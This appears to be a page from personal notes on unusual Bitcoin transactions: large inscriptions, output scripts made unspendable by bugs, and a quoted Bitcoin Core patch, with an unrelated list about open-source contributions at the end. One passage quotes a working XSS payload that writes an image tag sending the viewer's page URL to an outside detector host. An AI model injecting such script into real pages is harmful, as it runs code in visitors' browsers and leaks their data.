From their site:
OCM Genesis is our flagship generative art collection that's set many historic precedents since its launch in 2021. Genesis is the first NFT collection where all 10,000 images and metadata (similar to DNA describing the NFT) were generated using code entirely on-chain in a single transaction on Ethereum. With the launch of Bitcoin Ordinals, Genesis is the first ever collection of 10,000 images to be inscribed on Bitcoin in 2023.
Some of their likely transactions were noted in our list of large transactions: github.com/cirosantilli/bitcoin-inscription-indexer/blob/master/data/payload_size_out e.g.:
004c3f1efa0095b229dd05ea247c94a5af742daf682fb082a6e62f4aeeb973f2 66033
ffc73ef454d512f98a451960e05a0a036406ed1078a1bd7082fd4036cf0af067 66021
but we haven't had the patience to index them properly yet. Boring art anyways.
Output 0 does:
OP_ADD OP_ADD 13 OP_EQUAL OP_NOTIF OP_RETURN OP_ENDIF OP_FROMALTSTACK <large xss constant> OP_DROP
where the large constant is an interesting inscription to test for the presence of XSS attacks on blockchain explorers:
<script type='text/javascript'>document.write('<img src='http://www.trollbot.org/xss-blockchain-detector.php?href=' + location.href + ''>');</script>`
This is almost spendable with:
1 OP_TOALTSTACK 10 1 2
but that fails because the altstack is cleared between the input and the output script, so this output is provably unspendable.
In this malformed Coinbase transaction, the mining pool "nicehash" produced a provably unspendable Bitcoin output script due to a bug, and therefore lost most of the entire block reward of 6.25 BTC then worth about $ 123,000.
The output is unspendable because it ends in a constant 0, the disassembly of the first and main output is this series of constants:
0 017fed86bba5f31f955f8b316c7fb9bd45cb6cbc 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
and for the second smaller one:
aa21a9ed62ec16bf1a388c7884e9778ddb0e26c0bf982dada47aaa5952347c0993da 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
the third one being an OP_RETURN message.
Sister transaction of 4373b97e4525be4c2f4b491be9f14ac2b106ba521587dad8f134040d16ff73af with another variant of the XSS but without IF and OP_FROMALTSTACK, thus making it spendable:
OP_ADD OP_ADD 13 OP_EQUAL <large xss constant> OP_DROP
This contains various outputs that seem trivially spendable in a made up of two non-zero constants, e.g.:
    {
      "value": 0.00002000,
      "n": 9,
      "scriptPubKey": {
        "asm": "1 8fe61f026c7545a99c6e0f37a5a7eceee5fdf6723c1994ccbfb740556632e9fe",
        "desc": "rawtr(8fe61f026c7545a99c6e0f37a5a7eceee5fdf6723c1994ccbfb740556632e9fe)#lxgt8lak",
        "hex": "51208fe61f026c7545a99c6e0f37a5a7eceee5fdf6723c1994ccbfb740556632e9fe",
        "address": "bc1p3lnp7qnvw4z6n8rwpum6tflvamjlmanj8svefn9lkaq92e3ja8lqcc8mcx",
        "type": "witness_v1_taproot"
      }
    },
Or are we missing something? The values are quite small and wouldn't be worth it the miner fees most likely. But is there a fundamental reason why this couldn't be spent by a non-standard miner?
Ouptut 0 disassembles as:
OP_IF OP_INVALIDOPCODE 4effffffff <large constant> OP_ENDIF
The large constant contains an ASCII Bitcoin Core patch entitled Remove (SINGLE|DOUBLE)BYTE so presumably this is a proof of concept:
From a3a61fef43309b9fb23225df7910b03afc5465b9 Mon Sep 17 00:00:00 2001
From: Satoshi Nakamoto <satoshin@gmx.com>
Date: Mon, 12 Aug 2013 02:28:02 -0200
Subject: [PATCH] Remove (SINGLE|DOUBLE)BYTE

I removed this from Bitcoin in f1e1fb4bdef878c8fc1564fa418d44e7541a7e83
in Sept 7 2010, almost three years ago. Be warned that I have not
actually tested this patch.
---
 backends/bitcoind/deserialize.py |    8 +-------
 1 file changed, 1 insertion(+), 7 deletions(-)

diff --git a/backends/bitcoind/deserialize.py b/backends/bitcoind/deserialize.py
index 6620583..89b9b1b 100644
--- a/backends/bitcoind/deserialize.py
+++ b/backends/bitcoind/deserialize.py
@@ -280,10 +280,8 @@ opcodes = Enumeration("Opcodes", [
     "OP_WITHIN", "OP_RIPEMD160", "OP_SHA1", "OP_SHA256", "OP_HASH160",
     "OP_HASH256", "OP_CODESEPARATOR", "OP_CHECKSIG", "OP_CHECKSIGVERIFY", "OP_CHECKMULTISIG",
     "OP_CHECKMULTISIGVERIFY",
-    ("OP_SINGLEBYTE_END", 0xF0),
-    ("OP_DOUBLEBYTE_BEGIN", 0xF000),
     "OP_PUBKEY", "OP_PUBKEYHASH",
-    ("OP_INVALIDOPCODE", 0xFFFF),
+    ("OP_INVALIDOPCODE", 0xFF),
 ])
 
 
@@ -293,10 +291,6 @@ def script_GetOp(bytes):
         vch = None
         opcode = ord(bytes[i])
         i += 1
-        if opcode >= opcodes.OP_SINGLEBYTE_END and i < len(bytes):
-            opcode <<= 8
-            opcode |= ord(bytes[i])
-            i += 1
 
         if opcode <= opcodes.OP_PUSHDATA4:
             nSize = opcode
-- 
1.7.9.4
bitcointalk.org/index.php?topic=5231222.0 discusses what happens if there is an invalid opcode in a branch that is not taken.
This is mostly stuff from before 2016 when Ciro was anxious to document his contributions to get a job.
Most of the projects here are also minor contributions, or Ciro later noticed that the projects were not useful enough to work on and that he was actually wasting his time.
Some of the contributions are subjectively self evaluated based on:
  • How many significant lines changed (no indentation changes, moves, mass refactoring, trivial tests, etc.):
    0only trivial changes
    1< 20
    2< 150
    3
    150
  • How hard it was to make it. 4 algorithmic lines are harder than 100 web development/documentation lines.
  • I opened and was confirmed or generated considerable interest
  • I wrote comments pointing out a non obvious cause/fix/duplicate.
  • I reviewed the patch
This shall not list bugs solved by my accepted pull requests.

Unlisted articles are being shown, click here to show only listed articles.